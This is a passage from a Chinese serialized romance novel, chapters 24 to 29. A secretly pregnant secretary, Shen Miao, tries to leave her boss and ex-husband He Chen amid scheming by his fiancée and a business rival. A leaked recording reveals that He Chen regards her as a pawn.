沈渺眉头渐渐拧起,“在最里面的黑色小盒子里。” 周芸白她一眼,摸索了半天才将黑色小盒子拿出来,递给沈渺。 “等会儿签完字,我要盯着你收拾东西。” 沈渺接过笔,拿下笔帽正欲签字,却听身后传来一道熟悉的声音。 “十点钟的会议准备一下。” 贺忱从电梯出来,目光略过坐在沈渺位置上的周芸,他眉峰一蹙。 周芸立马站起来,“是,贺总!” 24.事情被撞破 沈渺听到贺忱的声音,头皮发麻。 她下意识想将文件收起来。 而彼时的贺忱却因为周芸的话,停下了脚步。 他目光锐利,看着周芸站在属于沈渺的位置上。 沈渺转过头,对上贺忱探究的目光,她正欲开口—— “贺总,沈秘书等会儿要走离职流程,以后我接手她的工作,等会儿的会议我来准备!” 周芸根本不给沈渺说话的机会。 她这话一出,沈渺呼吸一滞,脑袋里划过两个字,完了。 “谁离职?”贺忱倏地眯起眼眸。 “沈秘书。”周芸毫不犹豫地说,“她签了字就能立马走人了。” 贺忱的目光落在沈渺刚落笔一划的解约书上。 他的脸色陡然下降,周身的气息降到宛若京北的寒冬夜晚那般冷。 尤其看到自己的字迹,他目光锋利的宛若一把刀,落在沈渺脸上。 沈渺细眉拧成一团,除了有没签成字被抓包的复杂外,没有一丝恐慌。 反而是周芸。 她后知后觉反应过来,昨天贺忱签字时,是打着她请假的幌子! 所以,贺忱是根本不知道沈渺要离职的? 她顿时一脸慌乱,忙解释,“贺总,是程小姐让我这么做的!” “进来。” 贺忱丢下两个字,转身阔步进入办公室。 沈渺咬了咬唇,迅速在解约书上将名字补充完整,然后才跟进去。 周芸紧跟其后。 办公室里,贺忱一言不发,阴沉的脸色令室内的空气稀薄。 他睨了一眼沈渺。 沈渺穿了一件咖红色皮草羽绒服,下半身是一条宽松的黑色裤子,配了一双几乎没有跟的鞋子。 她身材高挑又瘦,穿什么衣服都好看。 那张白净精致的小脸,更是被不同风格的衣服衬出不同气质。 她站在那里看似柔和好拿捏,实则—— 贺忱满脑子都是她快要落笔的那一笔。 气压一低再低,低到周芸直吞口水,满身是汗。 终于,办公室的门被人推开。 程唯怡挽着明黎艳的胳膊进来。 看到周芸和沈渺在办公室,程唯怡的心里‘咯噔’一声。 “程小姐,你快跟贺总说清楚,是你让我骗他签了沈秘书的解约书的……” 周芸一看到程唯怡,立马冲过去,死死抓着程唯怡的手,“不然我哪里来的胆子这么干!” 程唯怡下意识甩开她,刚推开的手却再次被她抓住。 “你松开!” “程小姐,你快跟总裁说啊!”周芸直往程唯怡身后躲。 明黎艳顿时明白怎么回事,当即拉下脸来,“你给我滚出去!” 一句话,吼得周芸身体颤了几颤,反应过来后立马离开办公室了。 办公室里静下来,几道目光都如焰火般交织。 沈渺能清晰地察觉到,贺忱很生气。 她沉吟片刻缓缓颔首,“贺总,明董,你们聊我先出去了。” 在明黎艳视她如眼中钉的目光下,她离开了办公室。 办公室门缓缓合上,明黎艳的声音传出来。 “不关唯怡的事情,是我让她这么干的……” 沈渺回到工位上,将已经签完字的解约书放起来,安静地等着。 明黎艳的声音时不时就传出,还夹杂着程唯怡委屈的啜泣声。 整个秘书部都静悄悄的,顶楼弥漫着一股剑拔弩张的气息。 十几分钟后,办公室门被推开。 明黎艳一脸盛怒的出来,带着哭得眼眶通红的程唯怡。 她在沈渺的办公桌旁停下,狠狠地瞪了沈渺一眼。 “又是你干的好事!” 沈渺无辜躺枪,她脸色也不是很好。 但还是压着情绪,把解约书交给明黎艳。 “虽然有些插曲,但字已经签……” 不待她的话说完,明黎艳一把夺过解约书,反手撕成两半。 “少在这里装模作样,以后待在贺忱身边,你最好安分一些!” 说完她拉着程唯怡离开。 程唯怡看似可怜,实则眼底的怨气早已压不住地朝沈渺袭来。 沈渺盯着被撕了的解约书,心都凉了。 贺忱到底跟明黎艳说了什么? 竟是让明黎艳如此这般不情愿,却同意了她留在贺忱身边! “进来一趟。” 内线被打通,贺忱清洌的声音传出。 沈渺思忖片刻,进入办公室,并且将门关上。 “将会议安排到半个小时以后。” 贺忱将鼻梁上的金丝眼镜摘下来,随手放到一旁。 他身体后倾,双手穿插抵在桌沿处,看向沈渺。 “贺总。”沈渺站在办公桌前,细腰挺得笔直,“离职的事情,您还是慎重考虑一下吧,别因为我坏了跟明董、程小姐的关系。” 贺忱面色不辨喜怒,像是刚刚的事情没发生那般。 但他的语气隐隐透着危险。 “沈秘书是觉得,你签了字就能走。” 沈渺摇头,若贺忱真的追究,解约书的签字是无效的。 但她觉得,若真到了那时候,贺忱不会揪着她不放。 毕竟程唯怡更重要。 眼下不过是当众被戳穿,他恼羞成怒罢了。 “你想走,我不拦着。”贺忱薄唇轻启,竟是松了口。 沈渺眼底染起希冀。 孰料贺忱说,“只要你给得起违约金。” 两百万的数额对沈渺来说,是天价。 所以贺忱这哪里是不拦着,分明是知道她拿不出来,让她死了这条心。 沈渺抿着唇瓣。 早知道明黎艳找她甩支票的时候,她就要个数额,跟公司解约。 “我给你三天的时间凑钱。” 贺忱意有所指。 沈渺却不明白这话的意思,她能去哪儿凑两百万? 如此巨大的数额,是她几年的薪水,就算凑来了也还不起。 “出去。”贺忱薄唇吐出两个字。 沈渺只能回到工位上,想不透他留给她三天期限的凑钱,到底是什么意思。 当天上午,周芸被通报开除。 沈渺要离职的消息不胫而走,衍生出许多版本。 但大部分人都看得出,是程唯怡容不下沈渺,但贺忱保住了沈渺。 下午,媒体爆出贺忱与程唯怡原定十天后的订婚,被紧急取消。 知情人士透露,明黎艳已经在国际酒店定了位置,过一个晚上就取消了。 公司内部的人将这两则消息混杂到一起,得出结论。 贺忱跟程唯怡因为沈渺,闹掰了。 沈渺有种被架在火上烤却又无力的焦灼感。 商音看到新闻,等不到晚上就给她打电话。 她拿着手机去楼道里接。 “咱俩加起来也没有两百万啊,关键是全掏出来以后怎么养孩子。” 商音一听这两百万的违约金,在心里直骂贺忱,“他有程唯怡还不行,非把你留在身边干什么?” 25.沈渺的存在,已经影响到你的位置了 沈渺也猜不透,她叹息一声沉默着。 “早知道何之洲挖你的时候,你直接跟他走算了。” 商音分析道,“虽然九洲也在京北,但最起码比在贺忱身边强,五个月以后你肚子都大了,万一要是被贺忱发现了,你想跑都跑不了。” 沈渺从未想过铤而走险,在贺忱眼皮子底下把这个孩子生下来。 她想用一张嘴去辩驳孩子的身世,赌绝对不会被拆穿,太冒险。 “再想想办法。” “要不……”商音灵机一动,“你联系一下何之洲,看他愿不愿意给你掏违约金,只要他同意你就跳到九洲去。” 沈渺想都不想就拒绝了。 “为了打贺忱的脸,何之洲肯定会给我掏两百万的违约金,可我这个身份跳到九洲不会被重用,还落得一个背叛百荣的下场,以后很难再在这行直起腰来。” “更何况,我现在这状况你不是不清楚,隐瞒这事入职等于欺骗,九洲追究起来就不是赔偿违约金这么简单的事情了。” 隐瞒怀孕入职是违反职工条约的,沈渺现在进退两难。 商音长叹哀嚎,“太难了,当初就不该进百荣,遇上贺忱把你一辈子都毁了,你说以你的条件还愁找个好男人嫁了幸福一生吗。” “好了,我还要上班,晚上再说。” 在公司接电话,沈渺都不敢直接说怀孕两个字。 她转身回了工作岗位。 光线昏暗的楼道门缓缓关上,走廊的最后一丝亮度消失时,漆黑处隐隐约约走上来一抹身影。 程唯怡将楼道的门拉开一条缝,她看着沈渺回到工位上坐下。 刚刚沈渺的话,在她耳边不断回放。 何之洲要挖沈渺?还会愿意给沈渺掏违约金? 对于这个问题,沈渺给出的诸多分析和顾虑,包括会对贺忱颜面有损,都没入程唯怡的耳朵。 唯独这两句。 她眼珠子一骨碌,整理了衣服拎着自己炖的汤从楼道出来。 “贺忱哥,这是我亲手熬的汤,你以前说过只要我们吵架,我给你熬汤再罚我爬楼梯送过来,你就不会再生我气了……” 程唯怡推开贺忱办公室的门进去,撒娇的声音断断续续传出来。 “我真的知道错了,何况这件事情根本不是我主导的,你把气都撒在人家身上,太不公平了。” “我都累死了,你还不原谅我,难道让我每天都来爬一次楼梯才行吗?” 门虽开着,可沈渺的脑袋和心里都是乱的。 她听不清楚男人只字片语的回应。 只能听出,贺忱的声音从一开始的清冷懒散,渐渐柔和下来。 “下次不许再犯了,不然你就是爬一百层楼梯,也不管用,知道吗?” 贺忱起身,走到门口来关了门。 恰好沈渺朝这边看,两人对视上,交织的目光在渐渐关上的门缝中,彻底隔绝开。 上午刚吵的架,吵得那么凶,仿佛订婚解除两人就要分手了那样。 程唯怡亲手做的汤羹,爬爬楼梯再说几句软话,他们就和好如初了。 似乎一切都没有,只有沈渺还在刀尖上行走,如履薄冰。 晚上贺忱有应酬,五点多的时候,他带着程唯怡从办公室出来,手里拿着迈巴赫的车钥匙。 “晚上的会议推迟半小时,等我回来再开。” 他吩咐沈渺。 沈渺站起来,机械般地点头,“知道了,贺总。” “贺忱哥,你先下去,我有两句话想跟沈秘书说。” 程唯怡把包递给贺忱,撒着娇,“一会儿公司门口见,好不好?” 贺忱看了眼腕表,“有什么话现在说。” “哎呀,我不好意思当着你说嘛,你先走,我还能欺负沈秘书不成?” 程唯怡推着贺忱进了电梯。 贺忱眉骨虽拢着,面色却是无奈,进入电梯前他看了沈渺一眼。 那警示性的目光,提醒沈渺别乱说话。 殊不知,电梯前脚下去,后脚程唯怡就变了脸。 她折回沈渺工位旁边,抬了抬下巴道,“贺忱哥不让你解约,不过是跟我吵架赌气把你留下!” 沈渺的心脏一阵钝痛,后知后觉反应过来,这才是贺忱的性子。 他不受任何人的掌控,程唯怡越是想让沈渺离开,背地里搞小动作,他越是不给机会。 “沈渺,你是聪明人,逮住走的机会最好赶紧滚,若是真撕破脸……贺忱哥是舍不得我伤心难过的。” 程唯怡在办公室待了一下午,想起来沈渺说她若去九洲,对她未来的事业有影响。 这不在程唯怡的关心之内,她撂个狠话逼着沈渺到时候跟何之洲走。 她说完就走了。 沈渺坐回位置上,准备晚上的会议。 约莫一个小时,贺忱匆匆回来,身上卷挟着京北夜晚的凉意。 沈渺被那股凉意侵袭,拿过外套穿上,起身说,“贺总,会议还有五分钟。” “知道了。”贺忱突然顿了下,转过头来看她,“唯怡跟你说什么了。” “没说什么。”沈渺眉目透着浅浅的淡然,她波澜不惊的眼眸与贺忱对视着。 会哭的孩子有糖吃。 程唯怡在他面前哭一哭卖惨,他会立马妥协。 可沈渺哭,贺忱的眉头皱都不会皱一下。 也不会有任何人,心疼沈渺。 她已经隐忍习惯了。 贺忱见她这表情,不像被为难的样子,他继而进入办公室…… 程家。 程唯怡向朋友要了何之洲的电话,直接打过去。 “何之洲,你想挖沈渺?” 何之洲反应了几秒,才听出来是她,“我当是谁呢,程大小姐啊,怎么?你跟贺忱还没分吗?” 每天看贺忱的新闻,他的心情一天比一天好。 尤其今天,听百荣内部的人说了一些小道消息,他的心情更是达到了巅峰。 “你胡说什么!”程唯怡听不得这话,“我跟贺忱哥才不会分手!” 何之洲乐着接话,“死鸭子嘴硬,还不承认沈渺的存在,已经影响到你的位置了吗?” 程唯怡当然不承认,她咬牙道,“我只是不想让贺忱哥身边有女人。” “呦。”何之洲不戳破她给自己找补的面子,“可我帮不了你啊,我出双倍工资沈渺都不肯来。” 26.会议取消,我带你去医院 程唯怡扯谎道,“她很想去的,但贺忱哥知道是你在挖,所以不放人,如果你愿意替沈渺把违约金掏了,贺忱哥想留都留不住。” 何之洲笑容一敛。 想到那晚沈渺推开贺忱,而不是直接上了贺忱的床,捞好处—— 这足以证明,沈渺对贺忱没意思。 所以沈渺是真的想跳槽? 沈渺跟百荣签的违约金是多少,没人知道。 但她是贺忱的秘书,在百荣待了六年,违约金一定高于常人。 何之洲钱多好面子,他不介意掏点钱看贺忱吃瘪。 但他不是傻子,不会白让程唯怡利用。 “贺忱这王八蛋,抢我生意,我抢他个人不为过,但是你说……” 他声音一顿,程唯怡顿感不妙,“什么?” “要是让贺忱知道你私下跟我通风报信,摆了他一道,他会不会更生你的气?直接就分了?” 今天闹成这样,程唯怡是很介意贺忱留下沈渺的。 明黎艳解释说,贺忱只是不允许有人在他背地里搞小动作。 她相信,不然贺忱还能真对沈渺有感情不成!? 所以,若贺忱再知道她找过何之洲,就彻底完了! “你……什么意思!?” “她的违约金咱俩一人一半。”何之洲的语气近乎笃定,没得商量。 程唯怡打掉牙往肚子里咽。 就算她现在后悔,何之洲也会咬着她不放,这个哑巴亏她吃定了。 “事成之后,我给你打钱!” 程唯怡咬牙切齿,挂了电话,气得将抱枕丢到墙上。 —— 百荣集团,晚上八点。 会议结束,沈渺跟着贺忱从会议室出来。 再过半小时还有一个会,今晚估计又要加班到半夜。 她晚餐还没吃,饿得前胸贴后背。 正准备到工位上坐下,贺忱的声音忽然传来。 “进来。” 沈渺只好又马不停蹄地进入他办公室。 贺忱脱掉外套摘了领带,挽起袖子朝休息室走,“桌子上有晚餐。” 林昭下班之前定的晚餐,四菜一汤。 办公室里弥漫着淡淡的食物清香。 沈渺将餐盒打开,摆放筷子。 贺忱洗过手出来,在桌前坐下。 却见沈渺夹了一些菜到米饭的餐盒里,端起餐盒。 “贺总,您慢慢吃,吃完了我来收拾。” “就在这儿吃。” 以前加班,沈渺在贺忱的办公室吃饭是常有的事情。 可是现在,整个公司都在传,贺忱是因为她取消了跟程唯怡的订婚。 她要懂得避嫌。 “不了,我还有一些数据要核对。” 她微微颔首,头也不回地往外走。 贺忱盯着她的背影,仿佛要把她戳出窟窿来那般。 沈渺回到工位上吃晚餐,勉强算温热的饭菜下了肚,暂时性地解决了饥饿。 但刚吃完没多久,她的胃里就开始不舒服。 一阵阵的恶心涌上来,她连呼吸都不敢太用力。 喝了两杯热水压了半天,症状才有所缓解。 距离会议开始还有十分钟。 她不得忍着难受,去贺忱办公室收拾残局。 冷掉的饭菜味道变得不一样,沈渺刚进入办公室,味蕾被刺激到,刚刚压下去的恶心,再度涌上来。 并且更甚! 她掉头捂着嘴朝外面跑去。 卫生间,她将刚刚吃的晚餐都吐出来。 胃里空了,抽搐干呕,又吐了一堆酸水。 不知过了多久,她弯着腰的背脊上,一只温热干燥的大掌突然落下,轻拍着她的后背。 “还好吗。”贺忱的声音传来。 沈渺一味摇头,“没……没事,贺总出去吧,别脏了您的眼睛。” 贺忱递过来一杯温水,“你收拾一下,我送你去医院。” “不用。”沈渺接过温水,漱口后将马桶冲水,又抽了两张纸巾收拾自己的狼狈。 然后她才转过身。 她白皙的脸颊泛着驼红,眼睛蕴着雾气,模样略惨令人忍不住心生怜惜。 贺忱站在洗手间门口,他修长的身姿堵住了她的去路。 “未来几天跟程家合作的项目要动工,会很忙。” 他的意思是,沈渺身体不舒服尽早看,别耽误了工作。 沈渺眼底有层雾气,看东西有些不清晰。 但她看得出,此刻贺忱面无表情,并未显露出来一丝关心。 只是例行公事的询问罢了。 她摇头,扯了扯嘴角,“贺总放心,我不会耽误工作。” 百荣跟程家的合作不算重要,至少没重要到贺忱亲自盯的地步。 但那是程家,所以待遇特殊,贺忱全程手把手地跟进度,做决断。 她低垂眉眼,驼红的小脸还能看到细微的容貌,明明看似柔软却执拗的样子,让贺忱面色不虞。 “你自己说过,身体的意外状况是不受控制的。” 沈渺呼吸一滞。 没想到他还记得她说过的话。 贺忱在工作上很拼,经常不吃饭熬夜加班。 沈渺担心他的身体,说过这话。 “会议取消,我带你去医院。” 贺忱语气不容置疑。 “我自己去也行。”沈渺拗不过,松了口,生怕贺忱拒绝,她先一步朝门外走。 却在门口被贺忱挡下来,出不去。 “沈渺——” 贺忱嗓音温度明显降下来。 不待他将话说完,沈渺的手机响起。 屏幕上是一串她并未储存的号码。 “贺总,我先接个电话。” 她弯腰在贺忱的臂弯下钻过去,迅速接起电话。 贺忱余光瞥见那串号码,眸色顿然沉冷。 “沈秘书,有空聊两句吗?” 何之洲的声音在电话那端传来。 沈渺只是想借助电话从贺忱身边脱身,但早知这电话是何之洲打来的,她肯定不能接。 她快走两步,回到工位上收拾东西。 “您说。” “听说你跟贺忱闹掰了,只要给了违约金就能离开百荣。” 何之洲见她肯接自己电话,还有兴趣聊两句,便觉得她愿意来九洲! 洗手间玄关灯光很暗,贺忱站在那里,五官轮廓模糊。 但一双洞悉一切的眼眸,始终盯着沈渺。 沈渺被他看得发虚,仿佛他能听见那端何之洲的话一样。 她含糊其辞,“应该是。” “白跟了贺忱这么多年,他还这么为难你,我帮你解决,你放心来跟我,我一定不会这么对你,那二……” 二百万的违约金我替你掏了! 何之洲的话还没说完,沈渺越听越心惊。 她口不择言地打断,“您说的都对。” 27.二百万我掏了,人,我要了 说话间,沈渺将包拿起来,朝电梯走,路过贺忱身边时颔首示意,她走了。 好在贺忱没追上来。 她立刻压低声音正面回复何之洲的话,“但我的事情自己想办法解决,您……” ‘嘟嘟嘟’ 电话那端,一阵忙音。 她这才发现,何之洲已经挂了。 电梯到了,她匆匆进入离开,没将这通突如其来的电话放在心上。 偌大的总裁办公室,贺忱站在落地窗前,俯瞰京北商业街。 百荣大厦的轮廓灯照亮半边天空。 男人的脸色隐晦不明,他身姿抵着窗沿,指缝里夹着的烟支缓慢燃烧。 缭绕的烟雾萦绕着他,他棱角分明的面容被雾气掩去锐气。 一根接一根的烟,尼古丁的味道却怎么也压不下心头莫名的烦躁。 —— 沈渺回家后,给商音打视频,让商音帮她再买一些止孕吐的药。 “人家医生不是说了,这药不能一直吃,是药三分毒,你这样下去不是办法。” 商音极力劝她,“你真的不考虑去找何之洲吗?” 沈渺原本坚定不考虑的心,此刻突然就动摇了。 “音音,如果有一天商庭的父亲突然出现,要跟你争抢孩子的抚养权,你会怎么做?” 商音想都不想便说,“孩子就是我的命,我就是死磕到底也要争夺孩子的抚养权!” 事情超出预料后,沈渺就开始胡思乱想。 万一,她真的走不了,怀孕的事情败露,孩子的身世败露,她怎么跟贺忱争? 争不过,要怎么办? “我这孩子他爹既然捐J,就做好了有个不知下落孩子的准备,你不一样,你是瞒着贺忱怀了孩子并且要生下来,让贺忱知道这事儿……先不说孩子的抚养权,贺家会不会放过你,程家那边,贺忱又会怎么处理你?” 商音越说心越凉,“所以我劝你,不如去找何之洲。” 就算跳槽给沈渺带来职业生涯的黑点,以后可能在商圈混不下去。 总好过被贺忱抓包。 “你说的有道理。”沈渺轻声呢喃。 她挂了商音的电话,看着何之洲的电话号码,再三犹豫后—— 沈渺关了手机,上床睡觉。 突然回来,她还有一些工作没处理完,所以第二天一早,沈渺提前半小时到公司。 彼时整个顶层静悄悄的,只有她一个人。 十分钟后,林昭拎着公文包从电梯里出来。 “沈秘书,早。” 沈渺朝他一笑点头,“林助,早。” 林昭路过她身旁没几步,又退回来了。 “沈秘书,你真的要辞职啊?” 沈渺静默数秒点头,“嗯。” 林昭顿时严肃起来,“到底为什么啊?” “个人原因。”沈渺不敢跟林昭说太多,又拿这理由回答。 因为林昭跟贺忱的时间比她久,是贺忱实打实的‘狗腿子’。 “是因为程小姐为难你吗?” 林昭一本正经地分析,“贺总不是被随便拿捏的性子,你工作能力出众,他肯定不会因为程小姐就允许你辞职,你放宽心老实跟着贺总,他肯定不会亏待你。” 沈渺不知道,为什么在工作上那么精明的林昭,会说出这么天真的话。 就算没这个孩子,程唯怡这般容不下她,她也必须离开。 “林助怕是忘了,我跟贺总不单纯是上下司关系。” 林昭一脸不解,“可你们都离婚了啊,而且别说你对贺总没意思,就算有意思,贺总对你没那想法,你也破坏不了贺总跟程小姐啊,程小姐怎么会想不通呢?” 沈渺:“……” “林助,你还是把心思用在工作上吧。” 她实在无法与林昭沟通。 林昭点了点头,“对了,今天贺总有事不来公司,晚上跟达科白总的饭局咱们两个去。” “知道了。”沈渺看了眼紧闭的办公室门。 程唯怡回来以后,贺忱的工作不再完全按照规定流程执行,成为了家常便饭。 百荣跟达科合作多年,一直都是贺忱自己对接。 今天突然派遣他们两个过来,白国玉不是很高兴。 “你们贺总要是忙,可以改天。” 林昭将自己的酒杯倒满,“贺总实在是临时有事,怕取消饭局耽误了合作,这才让我们前来,请白总给个机会把这顿饭吃完,改天贺总肯定再约您见面。” 闻言,白国玉的脸色稍缓,“就是这合同,其实我还有一些想深入交流的。” 沈渺立马将合同拿出来,“白总,您对合同上的条款还有什么想增减的,可以直接跟我说,我记录好以后回去向贺总申请,明天一早就给您准确的答复。” 论起工作能力,沈渺称第二没人敢称第一。 林昭在她面前都自愧不如。 所以两人分工,一个陪着喝酒一个专攻工作。 饭桌上两个男人推杯换盏,沈渺身着白色衬衫,配了一条黑色的宽松裤子。 她长发梳成马尾吊在脑后,整个人散发着精致的慵懒。 二楼大厅栏杆处,何之洲双手搭在栏杆上,饶有兴致地看着沈渺。 “沈秘书身上那股劲儿,真迷人。” 他咧嘴冲着身边的贺忱笑,“她跟了贺总这么久,贺总不觉得沈秘书漂亮,知性吗?” 繁复璀璨的吊灯笼罩在贺忱身上,黑色西装衬得他更为清冷沉着。 他睨了一眼何之洲,“有话直说。” “我听说,沈秘书要辞职。”何之洲转过身,背倚在栏杆上,脸上挂着幸灾乐祸。 贺忱狭长的眸一眯,骨节分明的手掏出一盒烟,拿出一根咬在嘴上。 点火的一瞬间,火光在他眼底炸开焰火。 “你跟程唯怡取消订婚,真是为了沈渺?”何之洲一脸地饶有兴致,“你到底怎么想的?留下沈渺不怕程唯怡翻脸啊?” 贺忱薄唇里吐出烟圈,他看向沈渺。 “废话少说。” 他惜字如金,那张骨廓分明的脸也是令人捉摸不透的高深。 何之洲摸不透他,索性直奔主题。 “听说你要让沈渺掏了二百万的违约金,才肯放她走,这二百万我掏了,人,我要了。” 贺忱将烟递到嘴边,听到他的话又拿开。 他的目光一下变得锐利。 二百万违约金的事情,只有他与沈渺知道。 昨晚她当着他的面,接了何之洲的电话后离开—— 贺忱舌尖抵着腮帮,目光终于从沈渺身上移开,看向何之洲。 28.她只是贺忱的一颗棋子 “想要?凭本事来拿。” 贺忱转身朝包厢走去。 何之洲大笑着跟上他,“贺总怎么不敢把沈渺叫上来,问问她的意见?” 说话间,贺忱已经进入包厢,他拉开椅子坐下,脚踩在另外一把椅子上。 他的动作成功地阻挡住何之洲想坐在他隔壁。 “她没那个资格选。” 不过是个孤儿出身的秘书,能力再出众也到不了选择他们的位置上。 何之洲在与他隔着一张椅子的位置上坐下。 “贺总还真是无情,她跟了你那么久,在你眼里就像个棋子,你非把人留下,是不是想报复程唯怡当初丢下你出国?” 这是两人第一次私下见面。 何之洲那张嘴喋喋不休,在生死线上来回蹦跶。 贺忱破天荒没跟他计较,只是一味给他倒酒。 “我还能喝不过你?”何之洲脱了外套,站起来脚踩在椅子上,撸起袖子就干了杯中酒。 他可以说是泡在酒里长大的。 贺忱的酒局虽然多,但没人敢灌酒,酒量怎么跟他这个酒蒙子比? “来,喝,今天我就要凭本事把沈渺赎出来,你要是喝趴下别让我掏违约金,明天早上老老实实把人送到九洲楼下去!” 何之洲给自己倒满酒,又给贺忱也倒满。 “人家都不想在百荣待了,强扭的瓜不甜,贺忱你这人什么时候这么不识趣了。” 他喝一杯说一句。 贺忱听一句,脸色黑一分。 一个小时后,贺忱依旧坐在位置上,眼尾略泛着红晕。 他骨节分明的手里捏着一杯红褐色的液体,朝躺在地上烂成一滩泥的何之洲抬了抬。 “最后这杯,我送你了。” 他弯下腰,拍了拍何之洲的脸,“沈渺是我留在身边气程唯怡也好,一颗顺手的棋子也罢,都不是你能觊觎的,死了这条心。” “嗝……”何之洲打了个酒嗝,他眼神涣散,嘴里嘟囔着,“贺忱,你不讲武德,你隐瞒实力……” —— 深夜十一点半,饭局结束,沈渺去停车场开车。 刚上车,便看到一个横着被抬出来,送到了救护车上。 会出现在这里的人,身份非富即贵,喝成这样连媒体记者都惊动了。 无数的闪光灯‘咔嚓咔嚓’地亮起。 杂乱的人群中,沈渺的目光准确无误地落在一抹颀长的身影上。 男人出了餐厅一路朝外面走去。 贺忱? 这个念头刚出现在沈渺脑袋里,就被摒弃了。 今晚的应酬都交给她和林助了,贺忱怎么会来? 她发动引擎到酒店门口,接上林昭离开。 “刚刚那是何总吧。”林昭喝了不少,但还算清醒。 沈渺从后视镜看了眼背道而驰的救护车。 “哪个何总?” 林昭,“就九洲那个啊,这二世祖今天丢人丢大了,跑到这地方喝成这鬼样子,被人家抬出来的。” 风花雪月的场所喝多了,可以说他纨绔。 商务饭局喝多,那就是何之洲人菜还爱玩儿,被抬出来送到救护车,这事儿能成为上流圈子一年的话题。 “你说谁敢灌他啊。”林昭想不明白。 沈渺缓缓摇头,她对九洲的项目不熟,不知道何之洲都跟些什么人打交道。 当天晚上,何之洲醉酒被抬出酒店,送往医院就上了热搜。 何家人出入医院也被媒体拍到,何之洲的父亲脸色难看。 次日一早,何家宣布何之洲调养身体,暂时不接触公司业务。 原本沈渺还考虑,找不找何之洲帮忙。 现在不用考虑了,这条路断了。 一早,沈渺心事重重的,脸色都不怎么好看。 “沈渺姐。” 李白恬趁着给她送文件的功夫,八卦道,“你知道周芸为什么被开除的吗?” 沈渺敛回思绪,冲李白恬摇摇头,“不清楚。” “周芸在我们秘书部的小群里说,是你怂恿贺总把她开除的,还说你插在贺总跟程小姐之间,破坏人家感情!” 这话李白恬可不信,她在群里怼了周芸两句。 周芸是群主,把她给踢了。 “可是群里那些人都是跟周芸关系好的,她们都信了,到处散播谣言。” 贺忱跟程唯怡的订婚取消消息一出,公司的人看她的眼神就不对了。 这几天尤为严重,沈渺走到哪里都会迎来别人打量的目光。 原来是周芸又在背地里搞小动作了。 “我听说你要辞职,是因为这些绯闻吗?” 李白恬拉着沈渺的手,“没必要啊,将来你谈个恋爱结婚,这些绯闻不攻自破,这份工作多有前途啊……” 谈恋爱结婚? 沈渺从未想过这个问题。 但一听到李白恬那句‘不攻自破’,她心头微动。 “我辞职的事情说来复杂,现在还没有定论,如果我走一定提前告诉你。” 李白恬更为焦急,“你要走了我怎么办啊!沈渺姐,你能不能留下啊?” 她像个孩子一样,沈渺一脸无奈,“好好好,先不走。” 她说的是先不走,而不是不走。 碍于在上班,李白恬没再纠缠。 但她心里早已打起算盘,怎么才能让沈渺留下? 在职一天,沈渺的工作都是忙碌的。 右下角突然弹窗出的邮件,来自陌生人,邮件名只有两个字:贺忱。 沈渺放下手头的工作,将邮件点开来。 一段一分多钟的录音,她戴上耳机点开播放。 “她没那个资格选。” “贺总还真是无情,她跟了你那么久,在你眼里就像个棋子,你非把人留下,是不是想报复程唯怡当初丢下你出国?” “沈渺是我留在身边气程唯怡也好,一颗顺手的棋子也罢,都不是你能觊觎的,死了这条心。” 沈渺几乎瞬间就辨别出哪个是贺忱的声音。 她想过,或许她只是贺忱留在身边,气成为的一颗棋子。 但并未得到证实之前,她只是将这归为一种可能性。 如今真相摆在面前,沈渺浑身血液都被凝固般,怔愣在原地,久久不能回神。 两年的婚姻,六年的跟随,她在贺忱的心里一点儿地位都没有。 是拿来气程唯怡的工具,是一颗顺手的棋子,是—— 沈渺呼吸一滞,钝痛在内心深处蔓延开,疼得她脸色惨白。 长廊尽头,总裁专用梯缓缓打开。 贺忱一身黑色西装裹身,深红色的领带整洁有型。 他驱动修长笔挺的双腿,朝这边走来。 深邃令人摸不透的眸子与沈渺染着愤怒的清眸对上。 视线在空气中交织,气氛无形中变得紧张。 贺忱停在她办公桌前,面色逐渐锐化,“怎么,沈秘书心情不好。” “没有。”沈渺生硬地否认,但她表情早已出卖她真实的想法。 “让我想想,什么能影响到沈秘书。” 贺忱沉吟片刻,唇角掀起嘲弄的弧度,“是今天早上何家的新闻吗。” 29.沈秘书一定很担心何之洲 何之洲下台,违约金掏不了,沈渺走不成。 她这张精致的小脸儿,一点儿事儿也藏不住。 贺忱下颚线条清晰,舌尖抵着腮帮,看似淡然的模样却暗藏汹涌。 “想必沈秘书一定很担心何之洲,那你就代替百荣去医院看望他吧,早去早回,十一点的会议之前回来。” 沈渺突然意识到,何之洲跟贺忱见过面了。 那段录音,就是他们的对话。 是昨晚! “怎么。”贺忱双手插兜,站得笔直,居高临下地看着她,“沈秘书不愿意。” 他这语气,沈渺摸不透他到底是真让自己去,还是不想。 她垂着头,静默数秒点头,“好,我现在就去。” 她转身拿上外套拎包就走。 贺忱眸光一闪,扭头盯着她离开的背影,薄唇绷起。 沈渺半路买了些补品,到医院时已经十点钟。 她找到何之洲的病房时,何之洲正在挂点滴。 病房门虚掩着,她推门而入。 高跟鞋踩在地板上发出清脆的声音。 何之洲穿着蓝白相间的病号服,手抵在头下,翘着二郎腿闭着眼晒太阳。 “出去,谁也别来看我!老子根本没事,贺忱这鳖孙,故意闹这么大动静把我送过来……” 沈渺嘴角抽搐,她看到床头的病例条上写着醉酒调理。 闹到住院这个地步,所有人都以为他最轻也得胃出血。 雷声大雨点小,丢人丢的一点也不少。 “何总。” 沈渺将补品放在床头。 何之洲一激灵,睁开眼睛看过来,“我靠!贺忱让你来看我的!?” “是。”沈渺点头,“我代表百荣来探望您。” “扯淡!”何之洲坐起来,狠狠拍了下床沿,“你是代表贺忱来侮辱我的!” 沈渺不语,贺忱的目的达到了。 何之洲拉着她不放,“你听到我给你发的录音了吧?贺忱这狗东西,根本不顾你死活,你夹在他和程唯怡之间没好果子吃!” “到时候他们结婚了,床头吵架床尾和,就你里外不是人!” 沈渺安静地听着他说,逐字逐句都很锋利,扎在她的心上。 她的心都被穿透,成了筛子。 “你怎么没反应?”何之洲见她没自己预料中生气,有些挫败,“你不觉得我说得有道理吗?” 沈渺点头,“确实有道理。” 但她能怎么办? 何之洲下意识说,“那你还待在百荣干嘛,跳槽到九洲来,我……” 话说一半,他想起来自己被卸职了。 “草!”他咬牙切齿,“贺忱这狗东西,就是派你来羞辱我的!” 他骂一骂贺忱,能解气。 可贺忱带给沈渺的每一个伤害,都是直中要害,扎在她心里的。 她越骂,越是心寒。 只能一再地保持冷静,沈渺才能将心头的寒意和痛意,压下去。 “何总,您好好保重身体,我就不打扰您了,先走了。” 何之洲骂完还不解气,他忽然意识到,自己给沈渺添麻烦了。 